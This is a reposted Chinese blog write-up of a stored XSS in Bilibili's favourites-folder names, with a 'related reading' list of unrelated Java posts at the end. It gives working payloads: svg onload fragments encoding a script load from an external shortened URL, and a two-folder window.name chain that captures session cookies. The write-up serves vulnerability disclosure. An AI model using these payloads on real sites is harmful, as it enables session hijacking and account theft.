• bilibili存储型xss (绕过长度限制打乱顺序限制)


    在个人空间的我的收藏中可编辑视频收藏的名称,之后尝试写入标签。

    http://space.bilibili.com/

    QQ20160128-0@2x.png

     

    QQ20160128-1@2x.png

     

    发现输出到前端的尖括号被转义了,不过出现了一个json接口,他的Content-Type是html,打开看下内容

    http://space.bilibili.com/ajax/fav/getBoxList?mid=4926267

    QQ20160128-2@2x.png

     

    发现尖括号起作用了,这个xss在space域下,看下bilibili的cookie在这个域下起不起作用

    QQ20160128-3@2x.png

     

    B站的cookie都在.bilibili.com下,是个子域名就可以打喽。

    尝试隐身窗口访问,避免self xss

    QQ20160128-4@2x.png

     

    由于后端验证这个变量长度必须不大于30,按照以往的套路,就是建立多个单元,拼在一起,最后再eval一下就好了,可是这次B站弄聪明了,每个条的顺序每次刷新不同,就会导致变量 undefined

    例如我本打算这么执行

    <svg onload=a='document.writ'>

    <svg onload=b='e(String.from'>

    <svg onload=c='CharCode(60,1'>

    <svg onload=d='15,99,114,105'>

    <svg onload=e=',112,116,32,1'>

    <svg onload=f='15,114,99,61,'>

    <svg onload=g='39,104,116,11'>

    <svg onload=h='6,112,58,47,4'>

    <svg onload=i='7,116,46,99,1'>

    <svg onload=j='10,47,82,52,8'>

    <svg onload=k='6,84,75,53,66'>

    <svg onload=l=',39,62,60,47,'>

    <svg onload=m='115,99,114,10'>

    <svg onload=n='5,112,116,62)'>

    <svg onload=o=');'>

    <svg onload=x=a+b+n+d+e+f+g+h>

    <svg onload=t=i+j+k+l+m+n+o>

    <svg onload=eval(x+t)>

    但是当我用加上去的时候却变成了这样

    QQ20160128-6@2x.png

     

    然后在刷新下又变成了这样

    QQ20160128-7@2x.png

     

    所以这个方法在之后加入拼接变量的时候会出现undefined,因为刷新一下不知道后三行实际在页面里的位置,这让我很着急,不过bilibili的收藏有个奇怪的地方,他有个默认收藏夹总排在第一位,那么是不是可以利用这个特点做点文章呢?瞬间灵光一闪,window.name!!

    利用window.name做跨域传输cookie吧,根据优先级的话,svg onload 会比 body onload 先执行,因此默认收藏夹的name写<svg onload=b=document.cookie>,恰好长度为30,并且总会在第一位上,接下来建立个新的收藏夹,name为<body onload=window.name=b>,长度为27,排在第二位。这样就成功把cookie放在了window.name上

    构造好的源码是这样的

    QQ20160128-8@2x.png

     

    在console里测试下

    QQ20160128-9@2x.png

     

    接下来就是写个页面跨域传值了,这个百度一大堆,就不贴代码了

    漏洞证明:

    根据window.name跨域的方法,弹出B站的cookie

    QQ20160128-10@2x.png

     

    (B站的大织梦cookie)

  • 相关阅读:
    mysql 递归查找菜单节点的所有子节点
    mapStruct笔记
    JavaBean映射工具dozer学习
    常见Bean映射工具分析评测及Orika介绍
    Java 实体-实体的映射框架
    实体类与实体DTO类之间的转换
    推荐一个 Java 实体映射工具 MapStruct
    java Web项目Service层通用接口和entityVo对象与entity对象转化问题的解决方案
    SpringData JPA进阶查询—JPQL/原生SQL查询、分页处理、部分字段映射查询
    JPA框架下使用纯粹的原生SQL
  • 原文地址:https://www.cnblogs.com/blacksunny/p/9165628.html
Copyright © 2020-2023  润新知